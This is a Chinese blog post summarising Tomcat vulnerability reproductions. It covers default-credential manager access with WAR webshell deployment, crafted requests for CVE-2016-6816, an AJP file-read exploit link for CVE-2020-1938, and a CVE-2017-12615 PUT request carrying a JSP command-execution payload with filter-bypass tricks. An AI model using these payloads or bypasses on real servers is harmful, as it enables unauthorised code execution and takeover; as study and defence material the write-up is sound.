干货 | Tomcat漏洞复现总结

简介: 干货 | Tomcat漏洞复现总结

Tomcat弱口令登录后台配置WAR包getshell


漏洞复现

弱口令

账号:tomcat

密码:tomcat

进入Manager App

640.png

640.png

将一个jsp的木马打包成war包然后上传部署

jar.exe -cvf shell.war “shell.jsp”

然后点击选择文件

640.png

冰蝎连接即可

640.png

CVE-2016-6816(tomcat 信息泄露)未复现成功


漏洞描述

Apache Tomcat中存在安全漏洞,该漏洞源于程序没有正确过滤HTTP请求。攻击者可利用该漏洞实施跨站脚本攻击,获取敏感信息。


EXP

GET /?{{%25}}cake\=1 HTTP/1.1
Host: justpentest.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
Cookie:
NSC_MSN-IBNQ-VX-mcwtfswfs=ffffffff091c1daaaa525d5f4f58455e445a4a488888
 OR
GET
/?a'a%5c'b%22c%3e%3f%3e%25%7d%7d%25%25%3ec%3c[[%3f$%7b%7b%25%7d%7dcake%5c=1
HTTP/1.1

CVE-2020-1938(tomcat 文件包含)存在文件上传可达到代码执行效果


漏洞描述

该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。

影响版本

Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x

漏洞复现

用nmap扫描发现8009AJP协议端口发放,则可能存在该漏洞

640.png

EXP

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

利用EXP执行

640.png

假设我们通过文件上传漏洞上传了jsp脚本的txt文件,来尝试文件包含进行远程代码执行(RCE)(创建一个含jsp脚本的txt文件)

漏洞修复

临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443” />

更新tomcat版本


CVE-2017-12615(tomcat代码执行)


漏洞描述

2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有远程代码执行漏洞(CVE-2017-12615)。当 启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

漏洞的产生是由于配置不当(非默认配置),将配置文件( conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传 任意文件,但限制了jsp后缀,不过对于不同平台有多种绕过方法

640.png

影响版本

Apache Tomcat 7.0.0 - 7.0.81

漏洞复现

访问根目录抓包

GET / HTTP/1.1
Host: 123.58.236.76:21130
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=D13F6FA5933872B17454D290A66E3C6E
Connection: close

修改为PUT请求方法

PUT /1.jsp HTTP/1.1
Host: 123.58.236.76:21130
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=D13F6FA5933872B17454D290A66E3C6E
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
<%Runtime.getRuntime().exec(request.getParameter("i"));%>

但是上传显示404

640.png

这里是存在上传限制,该环境可以通过后面加一个/进行绕过

640.png

其他绕过方法

后缀名后加/可绕过上传
PUT /2.jsp/ HTTP/1.1
文件名后缀加::$DATA
上传文件后缀名加上%20
上传文件名后缀加上.

可以通过msf生成反弹shell的脚本,然后通过web访问执行来拿到反弹回来的shell

目录
相关文章
|
4月前
|
安全 Java 应用服务中间件
Tomcat弱口令+后端getshell漏洞
Tomcat弱口令+后端getshell漏洞
107 6
|
3月前
|
安全 应用服务中间件 网络安全
渗透测试-Tomcat文件读取漏洞复现
渗透测试-Tomcat文件读取漏洞复现
95 9
|
安全 应用服务中间件 Apache
Apache-Tomcat-Ajp文件读取漏洞(CVE-2020-1938、CNVD-2020-10487)
Apache-Tomcat-Ajp文件读取漏洞产生原因是由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件
814 1
|
JSON 供应链 安全
Apache Tomcat 存在 JsonErrorReportValve 注入漏洞(CVE-2022-45143)
Apache Tomcat 存在 JsonErrorReportValve 注入漏洞(CVE-2022-45143)
Apache Tomcat 存在 JsonErrorReportValve 注入漏洞(CVE-2022-45143)
|
安全 前端开发 网络协议
中间件常见漏洞之Tomcat
中间件常见漏洞之Tomcat
430 0
|
安全 Java 应用服务中间件
tomcat的put方法任意文件写入漏洞浅谈
tomcat的put方法任意文件写入漏洞浅谈
307 0
|
安全 Java 应用服务中间件
从一个被Tomcat拒绝的漏洞到特殊内存马
从一个被Tomcat拒绝的漏洞到特殊内存马
187 0
从一个被Tomcat拒绝的漏洞到特殊内存马
|
安全 Java 应用服务中间件
CVE-2017-12615 Tomcat PUT方法任意写文件漏洞
CVE-2017-12615 Tomcat PUT方法任意写文件漏洞
274 0
CVE-2017-12615 Tomcat PUT方法任意写文件漏洞
|
安全 Java 中间件
CVE-2020-1938 Aapache Tomcat AJP 文件包含漏洞
CVE-2020-1938 Aapache Tomcat AJP 文件包含漏洞
130 0
CVE-2020-1938 Aapache Tomcat AJP 文件包含漏洞